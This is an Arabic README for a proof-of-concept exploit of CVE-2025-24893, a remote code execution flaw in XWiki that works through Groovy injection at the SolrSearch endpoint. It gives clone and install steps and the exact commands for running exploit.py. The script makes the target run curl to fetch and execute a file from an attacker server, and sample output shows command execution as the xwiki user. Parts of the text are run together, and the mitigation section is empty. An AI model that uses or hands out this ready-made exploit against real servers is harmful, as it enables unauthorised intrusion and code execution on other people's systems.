
إثبات المفهوم لـ CVE-2025-24893
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) في XWiki والمعروفة باسم CVE-2025-24893. تسمح هذه الثغرة لمهاجم بتنفيذ كود عشوائي على نسخة مستهدفة من XWiki عن طريق استغلال طلب مُعدَّل إلى نقطة النهاية SolrSearch. يدعم هذا السكريبت أهداف HTTP و HTTPS على حدٍ سواء.
⚠️ إخلاء المسؤولية: إثبات المفهوم هذا مخصص للأغراض التعليمية والبحثية فقط. الاستخدام غير المصرح به لهذا الكود ضد أنظمة دون إذن صريح هو أمر غير قانوني وغير أخلاقي. احصل دائمًا على التصريح المناسب قبل اختبار أي نظام.
تنشأ الثغرة بسبب المعالجة غير السليمة لمدخلات المستخدم في نقطة نهاية SolrSearch، مما يسمح بحقن كود Groovy عبر حمولة معدَّلة. يوضح إثبات المفهوم هذا كيف يمكن للمهاجم استغلال ذلك لتنفيذ أوامر عشوائية على الخادم المستهدف.
requests، argparse، urllib.parse، re، htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
يقوم السكريبت بإرسال طلب HTTP/HTTPS معدَّل إلى نسخة XWiki المستهدفة، حاقنًا حمولة Groovy تنفذ أمر curl لجلب وتشغيل ملف من خادم يتحكم به المهاجم.
قم بتشغيل السكريبت بالأمر التالي:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: عنوان URL الأساسي لنسخة XWiki المستهدفة (مثل http://target أو https://target).--server: عنوان IP أو اسم المضيف لخادم المهاجم، مع تضمين المنفذ إذا لزم الأمر (مثل 192.168.1.100:8080). يدعم كلاً من HTTP و HTTPS.--file: اسم الملف الموجود على خادم المهاجم والذي يحتوي على الكود المراد تنفيذه (مثل exploit.sh).--no-verify: علامة اختيارية لتعطيل التحقق من SSL لأهداف HTTPS (استخدم بحذر، للاختبار فقط).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
لتجاوز التحقق من SSL (مثل الشهادات ذاتية التوقيع):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
سينتج عن ذلك:
curl.exploit.sh) من خادم المهاجم (http(s)://192.168.1.100:8080).يقوم السكريبت باستخراج الرد من الهدف، وإزالة وسوم HTML (مثل <br/>، <del>)، وتحويل كيانات HTML إلى نص عادي لسهولة القراءة. يتم طباعة المخرجات المنظفة على وحدة التحكم.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
للحماية من هذه الثغرة:
هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.